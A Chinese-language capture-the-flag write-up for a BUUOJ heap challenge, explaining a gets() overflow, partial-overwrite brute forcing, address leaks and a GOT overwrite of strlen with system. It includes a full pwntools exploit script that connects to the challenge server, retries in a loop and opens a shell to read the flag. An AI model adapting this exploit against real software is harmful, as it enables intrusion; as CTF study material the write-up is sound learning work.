我讨厌爆破
只有add没有free,但是add中用了gets,很明显是字符串溢出。但是这个溢出不大好利用,因为后边带个固定的\0结尾。
这样就需要堆块建在一个特殊位置0xXXXXX00XX这时候可以通过溢出控制最后一字节而不影响前边数据。由于堆块都是以000结尾,所以需要爆破半个字节。
思路:
- 先建几个块使一个块建在00XX的位置(建两个0x70后第3个块正好建在0030+0060,正常是建到?0XX的位置,前边那个0是爆破得到的)
- 再建块时先溢出到v6,将其指向前一个块的数据块(0060)这时会将堆指针写到这里,然后第2次溢出将v6覆盖为前一个块的管理块(0030),当调用sub_B30(v6)时将打印出堆地址。在这里用个标记,当标记不正确时raise个例外。
- 有堆地址以后,建次建块时先写入一个指向管理块的指针(管理块开始是sub_B30函数指针)再将这个块当作管理块打印出程序加载地址。
- 同3的方法,将got地址写入后,当数据块当作管理块,打印出got表里的值得到libc加载地址。
- 由于数据块都是由堆建,没有修改功能,利用第2次写时的atoi 将system后4字节作为数字写入,并溢出覆盖到v6将这里写为strlen -24 然后atoi会将数字值写入got.strlen,将其改为system。
- 再次写入/bin/sh时调用strlen得到shell
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('node4.buuoj.cn', 29475)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"(E)xit\n"
def add(name, n):
p.sendlineafter(menu, b'A')
p.sendlineafter(b"Your name:\n", name)
p.sendlineafter(b"N punch?\n", n)
def show():
p.sendlineafter(menu, b'S')
def pwn():
context.log_level = 'debug'
#s:128 ptr:8
add(b'A'*0x70, b'888') #0
add(b'A'*0x70, b'888') #1
add(b'A'*0x20, b'888') #2
add(b'B'*0x70, b'888') #3 0x...0030, 0060
#0x...?000
add(b'A'*0x80+ b'\x60', b'1'.ljust(0x80, b'\x00') + b'\x30') #4
p.recvuntil(b'<')
if p.recv(8) != b'B'*8:
raise Exception('retry')
heap_addr1 = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(heap_addr1))
heap_addr2 = heap_addr1 - 0x2b0 #chunk0.pre_size
func_addr = heap_addr2 + 0x10 #chunk0.func_b30
ptr5_addr = heap_addr1 + 0xc0 #chunk5.data
print(hex(heap_addr1), hex(func_addr), hex(ptr5_addr))
add(b'A'*8 + p64(func_addr), b'888'.ljust(0x80, b'\x00')+ p64(ptr5_addr)) #5
p.recvuntil(b'<')
pwn_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xb30
elf.address = pwn_base
print('pwn:', hex(pwn_base))
ptr6_addr = ptr5_addr + 0x50
add(b'A'*8 + p64(elf.got['atoi']), b'888'.ljust(0x80, b'\x00')+ p64(ptr6_addr)) #6
p.recvuntil(b'<')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc_elf.sym['atoi']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
#*(_DWORD *)(v3 + 24) = atoi(s);
add(b'A', str(libc_elf.sym['system'] & 0xffffffff).encode().ljust(0x80, b'\x00') + p64(elf.got['strlen'] - 24))
#gdb.attach(p)
#pause()
p.sendlineafter(menu, b'A')
p.sendlineafter(b"Your name:\n", b'/bin/sh')
p.sendline(b'cat /flag')
p.interactive()
while True:
try:
connect()
pwn()
except KeyboardInterrupt as e:
break
except:
p.close()
print('...')